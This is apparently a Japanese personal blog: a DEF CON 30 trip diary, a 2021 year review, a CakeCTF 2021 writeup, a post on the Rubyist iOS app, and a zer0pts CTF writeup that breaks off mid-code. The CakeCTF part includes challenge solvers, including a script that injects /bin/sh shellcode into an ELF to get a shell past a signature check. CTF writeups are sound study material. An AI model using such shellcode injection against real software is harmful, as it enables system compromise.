DEF CON 30 に参加しました

はじめに

2022年8月10日〜17日(JST)の約1週間、Las Vegasに行ってDEF CON 30に参加してきました。5月ごろ開催されたDEF CON CTF Qualifierにチーム./V /home/r/.bin/twの一員として参加し、決勝に現地勢として参加することになったという経緯です。

旅行編

1日目

まず最初に持っていたバッグが破損しました。キャリーバッグと背中にかけるバッグの2つを持っていましたが前者は持ち手が、後者はジッパーが壊れました。気をつけたほうがよいです。

ちなみに、日本とアメリカは16時間も時差があるのでこの日は睡眠調節のために徹夜していました。今振り返るとこの行動はかなり正解で、アメリカに入国してから時差ボケや体調不良なく過ごすことができました。始発の新幹線に乗り9時頃に品川へ到着しました。新幹線の中では人生初のシンカンセンスゴクカタイアイスを食べました。おいしかったです。

その後京急線に乗って羽田空港第3ターミナルに行きました。品川駅の京急線のホームはデザインがかなり考えられていて、初見でも迷わずに電車に乗れました。ありがたい。空港についたあと最初にkurenaifさんを発見し、続けてチームメンバーと合流しました。この時点で12時を過ぎていて、朝からアイスしか食べていなかったので一緒にラーメンを食べました。CTFの小話ができて楽しかったです。

搭乗手続きは何事もなく進み無事飛行機に乗ることができました。国際線に乗るのは初めてで、3x3列のシートがあるのが新鮮でした。機内食は2回ありました。パンとバターが自分は一番好きでした。

飛行機の中で一番驚いたのは窓の遮光の仕組みでした。カーテンのようなものを想像していましたが、謎の仕組みで光が遮られるようになっていました。電子シェードと呼ばれる技術が使われているらしいです。へー。

機内の照明が落とされたあたりから眠くなり、3回程度寝て起きてを繰り返すとサンフランシスコ国際空港についていました。

自分は飛行機に乗ると耳が痛くなる体質で、特に今回は11時間のフライトだったのでかなり辛かったです。このあとsatokiさんに対策を教えてもらいどうにかなりました。

空港ではCBPによる入国審査がありました。英語のリスニング・スピーキングができるかかなり心配でしたがこれは思いの外なんとかなりました。が、別のところに問題がありました。審査の際にDEF CONへの招待状や泊まるホテルの予約証明を求められましたが何ももっておらず、審査官に怪訝な顔をされて別室に連れて行かれました。かなり緊張しましたが、いくつか追加の質問をされて最終的には入国を許可されました。筋骨隆々のアメリカ人に謎の部屋に連行される体験はもうしたくないです。最後に質問された"Are you a hacker?"への正しい返答が何だったのかはいまだにわかりません。あと携帯使用禁止の掲示に気づかずTwitterをしていたら怒られました。

その後、乗り換えで2時間程度暇な時間があったので空港内を見て回りました。寿司屋と思しきものがあって面白かったです。

途中でモンスターを大量に売っているお店を見つけたのでモンスターを飲みました。日本では見たことのないスイカ味と書いてあるものを選びましたが、結構美味しかったです。日本のモンスターよりも薬感が強い印象でした。

2回目のフライトを経てマッカラン国際空港に到着しました。2つ目のフライトは国内線だったので国際線と比べるととても楽でした。窓から少し離れた席だったので外の景色をあまり見ることができませんでしたが、本当に砂漠の中に都市があり驚きました。空港では、搭乗口を通るとすぐにルーレットがありカジノの主張が強かったです。ちなみにカジノは全面的に撮影禁止だったので、残念ながら写真を撮ることはできませんでした。Welcome to LAS VEGASのゲートを通るとすぐイグアナの置物がありとてもかわいかったです。

空港内には移動のために鉄道が敷設されていて規模感の違いを感じました。空港で手荷物を受け取った後はホテルに移動しました。移動にはUberを使いましたが、数分で車が到着してかなり体験がよかったです(田舎民のためUber Eatsすら使ったことがない)。ホテルはFlamingo Las Vegasで約30階建ての非常に大きな建物でした。

このホテルを含め、あらゆる施設にカジノが付属していて(あるいはカジノにホテルが付属していて)ラスベガスがラスベガスたる所以を理解しました。アメリカだと水道水が飲めず飲料水をお店で買うことになります。ホテル近くのWalmartで24本セットの飲料水を2つ買いました。夕食にはCaesars Palaceのフードコートでピザを食べました。1スライスを頼むと日本のピザの2枚分ぐらいが出てきました。少し量が多かったですが非常に美味しかったです。

ホテルのチェックインは機械でできるハイテク仕様でしたが、無限にエラーを吐かれたので結局人にしてもらいました。英語力がかなりカスだったので苦労しました。ホテルに帰った後は疲れていたので10時ぐらいに寝落ちしました。

2日目

この日は6時ぐらいに起床しました。朝食はチームの8人でDenny'sに行きました。朝食からかなり重い食事が出されつらかったです。このあたりから1日2食の超空腹と超満腹を行き来する生活が続きます。

腹ごしらえをしたあとはDEF CONの会場であるCarsars Forumに行きました。この会場を含めラスベガスの建造物は規模が異常で、ただただ巨大でした。

DEF CON初日はCTFが開催されずバッジを受け取るだけで、とくにすることがなかったので物販に行くことにしました。物販の列に並ぶタイミングが悪くて行列がかなり長くなっており、部屋にたどり着くまで2時間程度かかりました。が、一緒に並んでいたkurenaifさんやn4nuさんと面白い話ができてよい時間を過ごせました。物販にはTシャツやパーカー、コップなどが売っており自分は$135の買い物をしました。ちなみにクレジットカードには対応しておらず現金での決済のみでした。現金ではこれが最大の買い物になりました。

列に並んでいる途中でスタッフの方々(DEF CONではGOONと呼ぶらしい)が手にびっくりチキン1を持って列の整理をしていて面白かったです。

物販の後はホテルの周りを観光しました。Bellagioの噴水に一度行きましたがまだ昼の時間帯だったので動いておらず、単に巨大な池があっただけでした。夜までは時間があったのでBattlefield Vegasへ銃を打ちに行きました。ここではハンドガン、アサルトライフルなどを$135で打つことができました。一緒に行ったメンバーの中にはすでに銃を打ったことのある人が数名いて、特にptr-yudaiさんはかなり慣れている様子でした。壁にはられていた絵がかわいかったです。

夕食はSUBWAYに行きました。

ホテルに帰った後はicchyさんからDEF CONのバッジを受け取りました。今年はキーボードを模していて実際に演奏することができるものでした。バッジ自体は分解して解析できるようになっていて、これにはまったく取り組めていないので帰ったら調べてみたいです。ホテルのスイートルームで軽いミーティングもありました。入国前のチームミーティングである程度役割は決まっていて、使うツールやインフラ周りの確認が主な内容でした。この日も23時ぐらいに寝落ちしました。

3日目

ほぼ毎日寝落ちしていたので朝に風呂に入るようになっていました。ところで部屋の清掃がまったくされず電話が必要だったところに日本のホテルとの差を感じました。現金でのチップもこの日が初めてでした。

朝食はWahlburgersでハンバーガーを食べました。食べるたびに肉汁と野菜がこぼれ落ちていきなかなか美味しかったです。

CTFの会場が開くのは9:00からでしたが我々は8:30ごろに到着したので外で待機していました。他のチームも同じような行動をしていて、待機している間は他のチームを観察していました。この時点ですでに人数や資金力の差を感じました。荷物を会場に運んだ後は、経験者が会場からCTFに参加し、初参加勢はホテルから参加することになりました。

4日目

略(DEF CON CTF)

5日目

CTFが急に終わり、予定より1時間早い13:00にスコアボードが閉じられました。予告もなく突然終了したのでいまだに微妙な気持ちになっています。CTFが終わった後はチームで写真を取りました。ちなみにチームの旗は持って帰る人がいなかったので僕がもらうことになりました。ありがとうございます。CTFが終わったあとにDEF CONの各Villageを回ろうと思っていましたがこの時間にはもうほとんどのブースが閉じられていて、実はほとんど回ることができませんでした。かの有名なWall of Sheep含め何も見られていないので少し後悔しています。ということでここからは何も予定がなくなったので、ひとまず昼食にタコスを食べに行きました。

道の途中で看板の一つがブルスクになっていて面白かったです。

ここでxrekkusuさんにSwarmを教えてもらい使い始めました。確かに行った場所の記憶はあいまいになりがちなので、こういう記録をつけておくのは重要だと納得しました。昼食を食べたあとほとんどの人はカジノに行きましたが、自分はまだカジノに行ける年齢ではなかったのでkeymoonさんと一緒に観光することにしました。一旦ホテルに戻って休んだあと、ホテルに隣接している動物園?のようなところに行きました。Flamingoというホテルの名前のとおりフラミンゴがいました。実はフラミンゴを見るのは初めてでよい体験でした。

その後はHigh Rollerなる観覧車に乗りました。最上部で550 ft(168 m)の高さがあるらしいです。すごい。遠景が見えるようになると砂漠に囲まれている様子がわかり、この都市の特異さをよく感じました。

観覧車から降りると、次にCaesars Palaceのホテルを探索しました。ラスベガスのホテルは様々な施設を内包しており、ブランドショップやカンファレンスルーム、プールなどが一つの建物で完結していることが多いです。その中でもカンファレンスルームは個人的にかなり好きな空間でした。ちょうどこのときはカンファレンスルームが使われておらず、ただっぴろい空間にだれもいないという最高の空間でした。部屋の名前には神話に登場する神々の名前が使われており、これも最高でした。ホテルに入ってから出るまで1~2時間かかっていて、これだけでかなり時間を潰せました。

ホテルを出たあとは再びBellagioの噴水を見に行きました。今回はちょうど噴水が動いている時間帯で、噴水の音や水しぶきに圧倒されていました。 夕飯はSushi burritoを食べました。生地には海苔とトルティーヤが選択できたので、トルティーヤを選びました。日本料理とアメリカ料理を悪魔合体させたような味で、寿司なのになぜかピリ辛という謎の味がしました。一緒に頼んだマンゴーレモネードが一番美味しかったです。

ところでラスベガスでは看板にシールを貼り付ける行為が横行しているようなんですが、このキャラクターがかわいかったです。かわいい。

時間帯によって景色が変わるのは日本もラスベガスも同じですが、ラスベガスではその程度が大きかったように感じています。同じ場所でも朝・昼・夜で全く印象が異なるので、これだけでも楽しむことができました。

6日目

朝にWorksite LabsでPCR検査を受けました。検査場が駐車場の一角にあり見つけるのにかなり苦労しました。検体の採取は自分で行う形式で、鼻腔内にものを突っ込むのが苦手なのですこし苦しかったです。

途中で顔が手になっているハローキティに出会いました。怖い。

まだ朝食を食べていなかったので、同じ建物内にあったフードコートで食事をとりました。icchyさん、keymoonさんと一緒にピザをホールで食べました。周りから完食できるか心配されましたが、3スライス食べても意外と余裕でした。これが若さらしいです。

帰りのUberでは運転手の方にビーフジャーキーをいただきました。が、正直何を言っているのか聞き取ることができず、リスニング能力の限界を痛感しました。

ホテルに戻った後はCVS Pharmacyへ行っておみやげを買いました。一緒に買ったレモネードが美味しかったです。アメリカでレモネード以上に美味しい食べ物に出会った記憶がありません。

ところでこれはエレベーターの写真ですが、壊れていそうな雰囲気がありアメリカクオリティを感じました。

実はこれ以外にも1つの階から動かないエレベーター、階数のボタンを押しても消えるエレベーターなどがあり見る分には面白かったです。

ちょうどおみやげを買い終わったあたりでPCR検査の結果がメールで届きました。朝の9時に検査を受けたので9時間程度で結果が届いたようです。陰性の文字を見て謎の解放感で満たされていましたが、帰国後も予定が詰まっていたので理性を強めていました。

夕食はDenny'sに行きスキレットを食べました。名前をよく見ずに頼むと激辛の料理が出てくるので気をつけたほうがよいです。ここでもまたストロベリーレモネードを飲みました。これが一番美味しかったです。

わりと時間が余っていたのでシルク・ドゥ・ソレイユを観に行こうと思ったのですが、チケットの予約画面が進まなかったので諦めました。実はかなり残念で、またLas Vegasに行くことがあれば必ず観に行きたいです。

通り道だったので3度目のBellagioの噴水を観に行きましたが、強風で中止になっていました。

7日目

朝食にスターバックスのサンドイッチを食べました。人生初のスターバックスで、想像より全然注文が楽だったので驚きました。コーヒーの容器にやけど注意と書かれていたにも関わらずやけどしてかなりバカになっていました。

ところでこれはコンセントの画像です。よき。

帰り道にWalmartがあったので、前日satokiさんに教えてもらったドクターペッパーのチェリー味を飲みました。ドクターペッパーは箱買いするほど大好きで、この味もかなり好みでよかったです。チェックアウトの際に部屋に置き忘れてしまい1/5ほど残してしまったのが残念でした。

このホテルはチェックアウトが部屋のテレビからできてハイテクでした。結局領収書を得るためにカウンターに行くことになったので、別にチェックアウトを部屋でする必要はありませんでしたが。領収書をメールで送ってもらうためにメールアドレスを伝える必要があったのですが、発音が悪く無限に伝わりませんでした。最終的に紙を渡され手書きで伝えましたがなぜがこれでも伝わらず苦労しました。

これはチェックアウトの機械の画像です。

チームメンバー全員がチェックアウトしたのを確認し、Uberで空港へ向かいました。前日にMySOSで手続きをしていたのですぐチェックインが終わり快適でした。MySQLと紛らわしいという話を聞いて頷いていました。

ラスベガスの空港には動物の置物が複数設置されており、帰りはうさぎをみつけました。かわいい。

セキュリティを抜けた後お腹が空いていたのでKFCで食事をとりました。小さめのハンバーガーを頼んだつもりが大きいものが出てきて驚きました。最近野菜のありがたさに気づきつつあります。

帰りは行きと同様2つの飛行機に乗りました。1つ目のLAS→LAXのフライトは約1時間の予定でしたが、目を閉じたあと気づくと着陸していて怖かったです。2つ目のLAX→HNDのフライトはANAが運行しているもので日本語の案内がありました。日本語の会話には安心感よりも違和感を感じ、まだ帰国していないのに帰国した感がありました。

機内食は2回ありました。KFCで食事を取ったためにすでに満腹になっていて食べるのがつらかったです。

1時間程度出発の遅延があったにも関わらずほぼ定時に到着していて、飛行機にも回復運転の概念があったんだなと思うなどしました。

税関の電子申告とファストトラックを利用したため、飛行機が着陸してから1時間で入国できました。 そこからは都内のホテルで一泊して新幹線で帰宅し、got a kotonakiしました。

CTF編

https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20ctf/ が200になって暇だったら書きます。

振り返り

よかったところ

思ったより英語はなんとかなった

海外に行く上で一番の不安は英語でコミュニケーションができるかどうかでしたが、これは意外とどうにかなりました。最低限のリスニングと最低限のスピーキングができれば最低限の会話は成立します。僕でもソロで1日程度観光や買い物などができる程度だったので、行動を妨げる要因が英会話しかないのであればとりあえずしてみるのがよいと思います。

特に雑談レベルの会話においては、相手が親切な方だと翻訳アプリを使ってもらえるような場合もあるそうです。

したいことが増えた

DEF CON 30やDEF CON CTFへの参加を通してあらゆるモチベーションが高まりました。このようなカンファレンスに現地で参加するのが初めてだったのに加え、興味を掻き立てられるような物品がそこら中にあるので自然と「〜したい」と思うようになっていました。インターネットは基本的には自分が探しているものしか見つけられず、偶発的な出会いはTwitterに任せていた面があるので、こういったイベントに現地で参加することの意義を強く感じました。

CTFプレイヤーと交流できた

インターネットでしか話したことのなかったCTFプレイヤーや、リアルワールドでセキュリティに関わる仕事をしている人と軽く話をすることができました。自分自身がそろそろ進路を確定させなければならない時期なのもあって、このような機会をもつことができてよかったと思います。同時に、後述する英語力の不足を感じる場面でもありました。

次に挑戦したいこと

英語力を高める

英会話があまり得意でなくても生きて帰国することができましたが、もっと英語ができたらなと思う場面がいくつもありました。これは主にリスニング力の欠如によるところが大きいので、勉強していきたいです。

DEF CONに参加する

今回はDEF CON CTFにほとんどの時間を吸われたためDEF CON自体にはあまり参加できませんでした。行ってみたいVillageや聞きたい発表のリストを作ってはいたものの作っただけで終わってしまったので、次年度以降でDEF CONに参加する機会があればもっと積極的に行動したいです。

精進する

世界のCTFトッププレイヤーの姿を間近で見られたことで、CTFへの意欲が急激に高まりました。今回DEF CONに参加することができたのは運がよかったとしか言いようがなく、次回は自力で世界大会に参加できるよう精進していきたいです。

持ち物

またいつか海外旅行に行くときのために持っていって使用したもののリストを残しておきます。 書類や予定表などは印刷しておくとトラブルが少なくてよいです。 あと招待状や予約証明があれば持っておくと入国時に役立ちます。

おわりに

非常に楽しい1週間でした。体感では一瞬でしたが参加記を書いてみると記憶していたよりも充実していたようです。 今はあらゆるモチベーションが高まっており、それだけでも貴重な体験だったことを痛感しています。 まずは目の前の受験をがんばります。

なお、今回のDEF CON参加にあたってチームメンバーを始めとした多くの方々に助けていただきました。また、株式会社リチェルカセキュリティ様には渡航費・宿泊費など多大なご支援をいただきました。ありがとうございました。

さらには精神疾患の診断を受けて1ヶ月というシビアなタイミングでの海外渡航でしたが、時差を考えず深夜に画像を送りつけてもメッセージを返してくれる人がいてくれて大変助かりました。ありがとうございました。

圧倒的感謝。

2021年の振り返り

導入

ニッコロ・ニッコリという人名を見てニコニコしていたら、もう2021年が終わるらしい。年を取ると時間が早く進むのは俗世から隔絶された高専生も例外ではないようだ。年と時間の感覚については森見登美彦夜は短し歩けよ乙女』に登場する表現が自分の中ではしっくりきていて、それは中学生のときから変わっていない。変わらないものばかりであればよいのだが、残念なことにそうではない。ということで、脳のメモリダンプを残しておく。

あ、最近小樽あまとうのマロンコロンをいただいたのだがおいしかったのでぜひ食べてみてほしい。

買ったもの

お年玉もお小遣いも全額貯金するような少年であったことを思えば、高専でお金を使うことを学んだと言っても過言ではないような気がする。MacBook Airが金額的に一番大きな買い物だったが、結局開発機には宗教上の理由からThinkPad X1 Carbonを使用している。

読んだ本

今年はたくさんの本を人に貸してもらった。非常にありがたい。 深夜になって突発的に本を読み始めるため、徹夜して授業を睡眠時間に充てるといったことが何回かあった。知り合いに言わせれば「命を削りながら本を読んでいる」イメージらしいのだが、特に支障をきたしているわけでもないので問題ない。 以下に読んだ本をまとめているが、本の管理をReadeeからブクログへ移行したので抜けがあるかもしれない。

見たアニメ、映画

昼休みの30分程度の空き時間でアニメを見るようになった。以前はTwitterをポチポチしていたので、少しは文化的な生活に近づいたのかもしれない。映画を映画館で見たのは5年ぶりで、音響にひたすら感動していた。山を降りて始発の電車に乗ったり、知り合いとご飯に行ったり、駅で学校の人に出会ったりと色々なことがあって疲れたことだけは覚えている。

聴いた音楽

ワイヤレスイヤホンを買ったことで音楽を聴く時間が昨年より増えた。あいも変わらず流行に疎いので、「ぜったい流行る」と思った曲が数年前の曲だったりする。最近はぽんずさんやr-906さんの曲をよく聴いていた。DUSTCELLさんとEMAさんもよろしくお願いします。

https://soundcloud.com/discover/sets/your-playback::arata-nvm:2021 https://www.nicovideo.jp/mylist/57619864

総括

SecHack365やseccamp、高専プロコンなどのイベントに加え各種大会に参加していたので昨年よりは忙しい日々を過ごすことになった。ほかには学校の食堂で半年間アルバイトをしたり、授業で市職員や企業の方々とお話したりなど、社会と関わる機会も増えてきた。ことあるごとに自分は社会人に向いていないなと思ったりするのだが、その話をすると長くなるのでここでは割愛する。 あとは、重複しかない一部の授業に嫌気が差して試験対策がすべて一夜漬けになった。過去のつながりで試験前に質問が飛んでくるのだが、私に教えられることはなにもない。申し訳ない。

CakeCTF 2021 Writeup

CakeCTF 2021にチームKUDoSで参加しました。スコアは4145点で6/157位でした。

f:id:arata-nvm:20210830112155p:plain

解けた問題のWriteupを書きます。

いつもはScrapboxにまとめているんですが、公開範囲の設定ができないのではてなブログに複製しました。

reversing

nostrings

配布されたバイナリをGhidraで解析します。

undefined8 FUN_001011a9(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int local_60;
  int local_5c;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("flag: ");
  __isoc99_scanf(&DAT_0010200b,local_58);
  local_60 = 1;
  local_5c = 0;
  do {
    if (0x39 < local_5c) {
      if (local_60 == 0) {
        puts("-_- < flag in the string...");
      }
      else {
        puts(".O. < i+! +o6 noh");
        puts(">v< this is the flag");
      }
      uVar1 = 0;
LAB_001012ae:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (local_58[local_5c] == '\x7f') {
      puts("^o^");
      uVar1 = 1;
      goto LAB_001012ae;
    }
    local_60 = (uint)((uint)(byte)s__00104020[(long)(int)local_58[local_5c] * 0x7f + (long)local_5c]
                     == (int)local_58[local_5c]) * local_60;
    local_5c = local_5c + 1;
  } while( true );
}

s__00104020にはダミーフラグが複数入っており、その中の文字と入力された文字を比較しています。 この条件を満たすような文字列を求めるとフラグが得られます。

 import string
 
 with open("chall", "rb") as f:
     data = f.read()[0x3020:]
 
 flag = [" "] * 0x3a
 for c in string.printable:
     for i in range(0x3a):
         if data[ord(c) * 0x7f + i] == ord(c):
             flag[i] = c
 
 print("".join(flag))

Hash browns

First Bloodでした(うれしい)。

配布されたバイナリをGhidraで解析します。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  size_t sVar2;
  long lVar3;
  undefined8 *puVar4;
  undefined8 *puVar5;
  long in_FS_OFFSET;
  int local_3bc;
  undefined local_3b8 [4];
  int local_3b4;
  int local_3b0;
  int local_3ac;
  undefined8 local_3a8;
  undefined8 local_208;
  undefined local_62;
  undefined local_61;
  undefined local_60;
  undefined local_5f;
  char local_5e [11];
  char local_53 [11];
  byte local_48 [16];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puVar4 = &DAT_001020a0;
  puVar5 = &local_3a8;
  for (lVar3 = 0x32; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar5 = *puVar4;
    puVar4 = puVar4 + 1;
    puVar5 = puVar5 + 1;
  }
  *(undefined4 *)puVar5 = *(undefined4 *)puVar4;
  *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4);
  *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6);
  puVar4 = &DAT_00102240;
  puVar5 = &local_208;
  for (lVar3 = 0x32; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar5 = *puVar4;
    puVar4 = puVar4 + 1;
    puVar5 = puVar5 + 1;
  }
  *(undefined4 *)puVar5 = *(undefined4 *)puVar4;
  *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4);
  *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6);
  if (param_1 < 2) {
    printf("Usage: %s <flag>\n",*param_2,(long)puVar4 + 7);
  }
  else {
    sVar2 = strlen((char *)param_2[1]);
    local_3ac = (int)(sVar2 >> 1);
    if (local_3ac == 0x25) {
      for (local_3b4 = 0; local_3b4 < local_3ac; local_3b4 = local_3b4 + 1) {
        f(local_3b4,local_3ac,&local_3bc,local_3b8);
        if (local_3bc < 0) {
          local_3bc = local_3ac + local_3bc;
        }
        local_62 = *(undefined *)((long)(local_3b4 * 2) + param_2[1]);
        local_61 = 0;
        local_60 = *(undefined *)(param_2[1] + (long)(local_3b4 * 2) + 1);
        local_5f = 0;
        md5(&local_62,local_48);
        sha256(&local_60,local_38);
        for (local_3b0 = 0; local_3b0 < 5; local_3b0 = local_3b0 + 1) {
          sprintf(local_5e + local_3b0 * 2,"%02x",(ulong)local_48[local_3b0]);
          sprintf(local_53 + local_3b0 * 2,"%02x",(ulong)local_38[local_3b0]);
        }
        iVar1 = strcmp((char *)((long)&local_3a8 + (long)local_3b4 * 0xb),local_5e);
        if (iVar1 != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
        iVar1 = strcmp((char *)((long)&local_208 + (long)local_3bc * 0xb),local_53);
        if (iVar1 != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
      }
      puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients.");
    }
    else {
      puts("Too sweet :(");
    }
  }
LAB_00101768:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

入力値を1文字ずつ区切り、奇数位置の文字はMD5ハッシュ値を、偶数位置の文字はSHA-256ハッシュ値をとっています。そしてバイナリ内にある文字列とそれらをstrcmp(3)で比較しています。

比較している文字列はLD_PRELOADを使って関数を差し替えると簡単に取得できます。

$ cat strcmp.c
#include <stdio.h>

int strcmp(char *s1, char *s2) {
    printf("%s\n", s1);
    return 0;
}

$ gcc -shared -fPIC strcmp.c -o strcmp.so
$ LD_LIBRARY_PATH=./ LD_PRELOAD=./strcmp.so ./hash_browns `python -c "print('A'*0x25*2)"`
 0d61f8370c
 ca978112ca
 8ce4b16b22
 3f79bb7b43
 0d61f8370c
(略)

以上の情報をもとに、ハッシュ値からもとの文字列を求めるとフラグが得られます。

 from hashlib import md5, sha256
 import string
 
 log = """
 0d61f8370c
 ca978112ca
 8ce4b16b22
 3f79bb7b43
 0d61f8370c
(略)
 """
 logs = log.split("\n")[1:-1]
 
 md5_hashes = {}
 sha256_hashes = {}
 
 for c in string.printable:
     md5_hashes[md5(c.encode()).hexdigest()[:10]] = c
     sha256_hashes[sha256(c.encode()).hexdigest()[:10]] = c
 
 flag = ""
 for i in range(0, len(logs), 2):
     flag += md5_hashes[logs[i]]
     flag += sha256_hashes[logs[i + 1]]
 print(flag)

rflag

バイナリの解析だけ担当しました。過密さんが解いてくれたので実質何もしていない。

第15回 数当てマジックと31の謎(前編)|数学ガールの秘密ノート|結城浩|cakes(ケイクス)

原理的にはこれと同じです。

ALDRYA

以下のファイルが配布されます。

  • aldrya - ELFファイルと署名ファイルを与えると、署名を検証したのちELFファイルを実行してくれるバイナリ
  • sample.elf - ELFファイル
  • sample.aldrya - sample.elfの署名ファイル
  • server.py - 問題サーバーで./aldrya <ELFファイル> ./sample.aldryaを実行してくれるコード

問題サーバーでは署名ファイルがsample.aldryaに固定されているので、署名の検証に失敗せずかつシェルを取れるようなELFファイルを作れ、という問題になります。

ソルバーを紛失したので解法は省略します。 配布されたsample.elf_start関数にシェルコードを埋め込むという方針で解きました。

以下のコードで生成されるoutput.elfを問題サーバーで実行するとシェルが実行されフラグを得ることができます。

# _start関数のアドレス
place = 0x1060

# 埋め込むコードの生成
# http://shell-storm.org/shellcode/files/shellcode-905.php
code = [0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05]
size = len(code) + 32

code += [(1 << 3) | (1 << 5) | (1 << 6)]
code += [0] * 5
code += [(1 << 6) | (1 << 7)]
code += [0] * 3
code += [1 << 7]
code += [0] * 1
code += [(1 << 6) | (1 << 7)]
code += [0] * 4
code += [1 << 7]
code += [0] * 3
code += [(1 << 6)|(1 << 7)]
code += [1 << 7]
code += [1 << 2]
code += [0] * (size - len(code))

# ELFファイルに埋め込む
with open("sample.elf", "rb") as f:
    data = f.read()

data = list(data)
for i in range(len(code)):
    data[place + i] = code[i]
data = bytes(data)

with open("output.elf", "wb") as f:
    f.write(data)

cheat

Kingtaker

Game Makerを使用して作られたゲームが与えられます。

Game Makerではグローバル変数globalという名前の変数に格納されるので調べてみると以下の変数が存在しました。

  • global["__3"]: ステージをクリアしたかのフラグ
  • global["_n4"]: 残りの歩数

よって、ブラウザーのConsoleでglobal["__3"] = 1を何回か実行するとフラグが得られます。

ところで、パズルをスキップできるアクションパズル悪魔っ娘ハーレムゲームことHelltakerは無料で遊べるので、暇なときにやってみるとよいかもしれません。

Helltaker on Steam

Yoshi-Shogi

Rust製の将棋ゲームが配布されます。

normal modeとflag modeがありflag modeで相手に勝つとフラグが得られそうです。

最初にバイナリの改変を試しましたが、flag modeで王を取ってもフラグは得られませんでした。 どうやら相手を降参させる必要があるようです。

次にバイナリを解析すると、外部のAPIと通信して次の手を決めていることがわかりました。 よって、降参しか指示しないサーバーをローカルに立ててそこに通信が行くようにしてやれば相手が降参してフラグを得ることができます。

# server.py

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"bestmove": "resign"}')

addr = ("", 15061)
with HTTPServer(addr, Handler) as server:
    server.serve_forever()
$ strings yoshi-shogi | grep "http://.*:.*/"
(APIのURLが手に入る)
$ echo "127.0.0.1 <CENSORED>" | sudo tee -a /etc/hosts
$ python server.py

misc

Break a leg

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

LSBにフラグが隠されているsteganography問題です。

ランダムなビット列とORをとっていますが、得られる値には以下のような性質があることがわかります。

  • フラグのビットが0 -> 01
  • フラグのビットが1 -> 1

この性質を利用してフラグを求めることができます。

 from PIL import Image
 
 img = Image.open("chall.png")
 bits = [i & 1 for sl in img.getdata() for i in sl]
 
 for flag_len in range(1, 0xff):
     # 最初の0は省略されるので-1する
     flag_bits_len = flag_len * 8 - 1
     flag_bits = [1] * flag_bits_len
     for i in range(len(bits)):
         flag_bits[i % flag_bits_len] &= bits[i]
     
     flag_int = int("".join([str(i) for i in flag_bits][::-1]), 2)
     flag = int.to_bytes(flag_int, flag_bits_len, "big")
     try:
         print(flag_len, flag.decode())
     except Exception as e:
         pass

感想など

しばらく幽霊になっていましたが、久しぶりにCTFに参加しました。 やはり実力不足が否めません。

とても楽しいCTFでした。運営の皆さんありがとうございました。

Rubyist for iOSについて

この記事は SecHack365 Advent Calendar 2020 1日目の記事です。初日なので軽めに書いていきます。

まえがき

こんにちは、arataです。学校のテストが終わったのにタスクは増える一方です。怖いですね。

今日はとくに書くことがなかったので、最近知ったRubyistというアプリについてちょっと語ろうと思います。

Rubyistとは

https://rubyist.app/

iOSで動くRubyの開発環境です。現在(2020/12/1時点)はベータ版となっており、TestFlight経由で配布されています。

できること

Rubyのコードを書いて実行できます。内部でmrubyを使用しているため若干の制限がありますが、一般的な用途で困ることはないと思います。

さらにiOSのショートカットとの連携も可能で、ショートカットからRubyのコードを実行できます。

API

mrubyの標準ライブラリに加え、Rubyist独自のAPIも実装されています。以下にその一部を紹介します。

Browser

設定されているデフォルトブラウザで、指定されたURLを開きます。

Clipboard

クリップボードにアクセスできます。

Device

バイスについての情報を取得できます。バッテリー情報やシステム情報などが取得できるようです。

個人的には、デバイスがどの向きで置かれているかを取得できるのが好きです。

HttpRequest

HTTPリクエストを送ることができます。

あとがき

以前はRubyPicoというアプリを利用していたのですが、AppStoreから姿を消してしまったのでまたこのようなアプリが開発されているのはとても嬉しいです。将来的にはmrbgemsのインストールやAPIの実装を進めていくとのことなので、楽しみにしています。

ところで、私の愛用するiPhone SE(Gen 1)はそろそろサポートが切られるそうです。次は何にしようか、、、

補遺1

ちょっとだけRubyistをいじった記録を残しておきます。

  • Kernel#openを使ったファイルの書き込み・読み込みは可能だった。
  • TCPServerを使ってサーバは建てられなかった。IO#popenのエラーが発生する)
    • →v1.0(11)でuninitialized constant TCPServerのエラーに変わった

zer0pts CTF 2020 Writeup

ソロでチーム"helix"として参加した。1909 点を獲得し、順位は 43 位だった。

crypto

ROR

以下のソースコードとその実行結果が渡される。

import random
from secret import flag

ror = lambda x, l, b: (x >> l) | ((x & ((1<<l)-1)) << (b-l))

N = 1
for base in [2, 3, 7]:
    N *= pow(base, random.randint(123, 456))
e = random.randint(271828, 314159)

m = int.from_bytes(flag, byteorder='big')
assert m.bit_length() < N.bit_length()

for i in range(m.bit_length()):
